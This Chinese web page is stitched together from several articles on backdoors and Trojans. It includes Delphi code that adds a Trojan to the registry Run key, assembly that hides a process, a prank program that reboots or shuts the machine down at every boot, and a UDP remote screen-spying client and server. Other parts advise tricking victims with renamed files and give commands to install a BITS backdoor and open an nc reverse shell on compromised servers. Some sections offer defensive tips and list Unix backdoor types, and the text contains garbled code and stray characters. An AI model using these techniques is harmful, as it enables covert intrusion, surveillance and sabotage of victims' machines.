系统后门一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。
创建过程:在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。
利弊:使再次侵入被发现的可能性减至最低。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
作用:使系统管理员无法阻止种植者再次进入系统:使种植者在系统中不易被发现:使种植者进入系统花最少时间。
(1)网络后门的设置方式有哪些扩展阅读
早期的电脑黑客,在成功获得远程系统的控制权后,希望能有一种技术使得他们在任意的时间都可以再次进入远程系统,于是后门程序就出现了。
后门程序跟我们通常所说的“木马”有联系也有区别。联系在于,都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制;区别在于,木马是一个非常完整的工具集合,而后门则体积较小且功能都很单一,所以木马提供的功能远远超过后门程序。
② 如何用rmtsvc.exe设置网络后门
后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其他电脑。
③ 电脑网络中的“后门”是什么意思
电脑网络中的“后门”即是网络的漏洞
一、问题的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是着名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。
二、"特洛伊木马"如何入侵系统
一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;
procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。
下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。
另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。
三、木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
受控机程序部分:
让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//发送每一批数据的缓冲区大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制码前4位为"SHOW"表示主控机发出了截屏指令
if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址
cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口
end;
end;
end.
主控机程序部分:
让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何预防黑客
黑客程序虽然破坏大,但不是不能防止的。
1、处理好你的密码
我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。
⑴ 密码不可和账号相同,这是最容易被猜到的了。
⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。
⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。
⑷ 有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。
⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。
2、不要运行不明真相的程序
无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的图片或影片吹得如何好看;要到大的、着名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。
3、经常检查系统信息
上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。
4、最好不去聊天室
我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。
④ 什么是"后门程序"
后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还 能挫败系统上各种增强的安全设置。
后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,你当输入特定的密码时,你就能以管理员的权限来存取系统。
后门能相互关联,而且这个 技术被许多黑客所使用。例如,黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来提升权限。黑客可能使用一些技术或利用系统的某个漏洞庭湖来提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。
以上是在网络上常见的对“后门”的解释,其实我们可以用很简单的一句话来概括它:后门就是留在计算机系统中,供某位特殊使用都通过某种特殊方式控制计算机系统的途径!——很显然,掌握好后门技术是每个网络安全爱好者不可或缺的一项基本技能!它能让你牢牢抓住肉鸡,让它永远飞不出你的五指山!
下文将以笔者从事网络安全多年的工作经验为基础,给广大的网络初级安全爱好者讲解一些网络上常 用的后门的种类和使用方法以及技巧,希望大家能在最短的时间内学习到最好的技术,提升自己的网络安全技术水平!
后门的分类
后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:
1.网页后门
此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,比如现在非常流行的asp、cgi脚本后门等。
2。线程插入后门
利用系统自身的某个服务或者线程,将后门程序插入到其中,具体原理原来《黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。
3扩展后门
所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常驻见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱郭后门“隐蔽”的初衷,具体看法就看各位使用都的喜好了。
4.c/s后门
和传统的木马程序类似的控制方法,采用“客记端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。
5.root kit
这个需要单独说明,其实把它单独列一个类在这里是不太恰当的,但是,root kit 的出现大大改变了后门程序的思维角度和使用理念,可以说一个好的root kit就是一个完全的系统杀手!后文我们讲涉及到这方面,想念一定不会让大家失望!
上面是按照技术做的分类,除了这些方面,正向连接后门、反向连接后门等分类也是很常见的,其实如何分类是编程者考虑的事,广大的使用者就不用考虑那么多了,我们看重的,只是功能!
入侵法定————精品后门
⑤ 黑客中说的后门什么意思
一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点,黑客会留下一个后门,特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种,下面介绍几种常见的后门,供网络管理员参考防范。
密码破解后门
这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可 以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门。多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些。当管理员寻找口令薄弱的帐号是,也不会发现这些密码已修改的帐号。因而管理员很难确定查封哪个帐号。
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法。用户可以轻易的改变设置而不需口令就能进入。入侵者只要向可以访问的某用户的rhosts文件中输入"+ +",就可以允许任何人从任何地方无须口令便能进入这个帐号。特别当home目录通过NFS向外共享时,入侵者更热中于此。这些帐号也成 了入侵者再次侵入的后门。许多人更喜欢使用Rsh,因为它通常缺少日志能力。许多管理员经常检查 "+ +",所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现。
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件。系统管理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的: 先将系统时钟拨回到原文件时间,然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与 原来的精确同步,就可以把系统时间设回当前时间。Sum程序是基于CRC校验,很容易骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被 大多数人推荐的,MD5使用的算法目前还没人能骗过。
Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证。 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门 口令,它将忽视管理员设置的口令让你长驱直入。这将允许入侵者进入任何帐号,甚至是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的,所以入侵者可以登录获取shell却不会暴露该帐号。管理员注意到这种后门后,便用"strings"命令搜索login程序以寻找文本信息。 许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令,使strings命令失效。 所以更多的管理员是用MD5校验和检测这种后门的。
Telnetd后门
当用户telnet到系统,监听端口的inetd服务接受连接随后递给in.telnetd,由它运行 login.一些入侵者知道管理员会检查login是否被修改,就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验,比如用户使用了何种终端。典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门,当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门,对来自特定源端口的连接产生一个shell。
服务后门
几乎所有网络服务曾被入侵者作过后门。 Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本随处多是。有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问。这些程序有时用刺娲□?Ucp这样不用的服务,或者被加入inetd.conf 作为一个新的服务,管理员应该非常注意那些服务正在运行,并用MD5对原服务程序做校验。
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问。也可以查看cronjob中 经常运行的合法程序,同时置入后门。
库后门
几乎所有的UNIX系统使用共享库,共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门;象login.c这样的程序调用了 crypt()。当使用后门口令时产生一个shell。因此,即使管理员用MD5检查login程序,仍然能产生一个后门函数,而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验,有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以当MD5读这些文件时,校验和一切正常,但当系统运行时将执行trojan版本的,即使trojan库本身也可躲过MD5校验,对于管理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行,静态连接程序不会使用trojan共享库。
内核后门
内核是Unix工作的核心,用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态 连接多不能识别。一个后门作的很好的内核是最难被管理员查找的,所幸的是内核的 后门程序还不是随手可得,每人知道它事实上传播有多广。
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现,入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等!有时为了防止管理员发现这么大的文件,入侵者需要修补"ls","","fsck"以隐匿特定的目录和文件,在很低的级别,入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件,对于普通的管理员来说,很难发现这些"坏扇区"里的文件系统,而它又确实存在。
Boot块后门
在PC世界里,许多病毒藏匿与根区,而杀病毒软件就是检查根区是否被改变。Unix下,多数管理员没有检查根区的软件,所以一些入侵者将一些后门留在根区。
隐匿进程后门
入侵者通常想隐匿他们运行的程序,这样的程序一般是口令破解程序和监听程序(sniffer),有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行,因此当管理员用"ps"检查运行进程时,出现 的是标准服务名。可以修改库函数致使"ps"不能显示所有进程,可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是
amod.tar.gz :
网络通行。这些网络通行后 门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问。 因为这是通过非标准网络端口的通行,管理员可能忽视入侵者的足迹。 这种后门通常使用TCP,UDP和ICMP,但也可能是其他类型报文。
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问。 管理员可以用netstat 命令查看当前的连接状态,那些端口在侦听,目前连接的来龙去脉。 通常这些后门可以让入侵者躲过TCP Wrapper技术。这些后门可以放在SMTP端口,许多防火墙允许 e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况,而UDP Shell后门没有这样的连接,所以 netstat不能显示入侵者的访问痕迹,许多防火墙设置成允许类似DNS的UDP报文的通行,通常入侵者将UDP Shell放置在这个端口,允许穿越防火墙。
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙允许外界ping它内部的机器,入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道,管理员也许会注意到Ping包暴风,但除了他查看包内数据,否者入侵者不会暴露。
加密连接
管理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密 后,就不可能被判定两台机器间的传输内容了。
⑥ 后门程序的分类
后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法: 此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,比如非常流行的ASP、cgi脚本后门等。
网页后门,网络上针对系统漏洞的攻击事件渐渐少了,因为大家在认识到网络安全的重要性之后,最简单却又最有效的防护办法:升级,都被大家所认同,所以系统漏洞在以后的岁月中存活的周期会越来越短,而从最近的趋势来看,脚本漏洞已经渐渐取代了系统漏洞的地位,非常多的人开始研究起脚本漏洞来,sql注入也开始成为各大安全站点首要关注热点,找到提升权限的突破口,进而拿到服务器的系统权限。
asp、CGI、PHP这三个脚本大类在网络上的普遍运用带来了脚本后门在这三方面的发展。
线程插入后门
利用系统自身的某个服务或者线程,将后门程序插入到其中,具体原理原来《黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。
扩展后门
所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱离了后门“隐蔽”的初衷,具体看法就看各位使用者的喜好了。
c/s后门
和传统的木马程序类似的控制方法,采用“客户端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。
root kit 6o f3H 3B
这个需要单独说明,其实把它单独列一个类在这里是不太恰当的,但是,root kit的出现大大改变了后门程序的思维角度和使用理念,可以说一个好的root kit就是一个完全的系统杀手!后文我们讲涉及到这方面,一定不会让大家失望!
上面是按照技术做的分类,除了这些方面,正向连接后门、反向连接后门等分类也是很常见的,其实如何分类是编程者考虑的事,广大的使用者就不用考虑那么多了,我们看重的,只是功能! 首先我们来简单解释一下什么是典型的线程插入后门:这种后门在运行时没有进程,所有网络操作均播入到其他应用程序的进程中完成。也就是说,即使受控制端安装的防火墙拥有“应用程序访问权限”的功能,也不能对这样的后门进行有效的警告和拦截,也就使对方的防火墙形同虚设了!因为对它的查杀比较困难,这种后门本身的功能比较强大,是“居中家旅行、入侵攻击”的必备品哦!
这类的典范就是国内提倡网络共享的小榕的BITS了,从它的推出以来,各类安全工具下载园地里BITS就高居榜首,非常多的朋友使用它的过程中感到了方便。类型:系统后门
使用范围:wind200/xp/2003
隐蔽程序:★★★★☆
使用难度:★★★☆☆
查杀难度:★★★★☆
BITS其实是Background Intelligent Transfer Servicer的缩写,可以在不知不觉中实现另一种意义的典型的线程插入后门,有以下特点:进程管理器中看不到;平时没有端口,只是在系统中充当卧底的角色;提供正向连接和反向连接两种功能;仅适合用于windows 200/xp/2003。
运用举例
首先我们用3389登录上肉鸡,确定你有SYSTEM的权限,将BITS.DLL拷贝到服务器上,执行CMD命令: 4 #R Br A
rundll32.exebits.dll,install
这样就激活了BIST,程序用这个特征的字符来辨认使用者,也就相当于你的密码了,然后卸载:rundll32.exe BITS.dll,Uninstall
这是最简单的使用,这个后门除了隐蔽性好外,还有两大特点是非常 值得借鉴的:端口复用和正反向连接。虽然很多朋友经常听到这两个名词,但并不了解它们,端口复用就是利用系统正常的TCP端口通讯和控制,比如80、139等,这样的后门有个非常 大的好处就是非常 隐蔽,不用自己开端口也不会暴露自己的访问,因为通讯本身就是系统的正常访问!另一个是反向连接,这个很常 见,也是后门中一个经典思路,因为从服务器上主动方问外边是不被禁止的,很多很历害的防火墙就怕这点!
BITS的正向连接很简单,大家可以参考它的README,这种方式在服务器没有防火墙等措施的时候很管用,可以方便地连接,但是遇到有防火墙这样的方式就不灵了,得使用下面的反向连接方式: 70 +g3l
在本地使用NC监听(如:nc -l -p 1234)
用NC连接目标主机的任何一个防火墙允许的TCP端口(80/139/445……)
输入激活命令:[email=hkfx@dancewithdolphin[rxell]:1.1.1.1:2222]hkfx@dancewithdolphin[rxell]:1.1.1.1:2222[/email] ^q/hQ , 4
目标主机的CMD将会出现NC监听的端口2222,这样就实现了绕过防火墙的功能了。 所谓的扩展后门,在普通意义上理解,可以看成是将非常多的功能集成到了后门里,让后门本身就可以实现很多功能,方便直接控制肉鸡或者服务器,这类的后门非常受初学者的喜爱,通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能,本身就是个小的工具包,功能强大。
Wineggdroup shell j;类型:系统后门
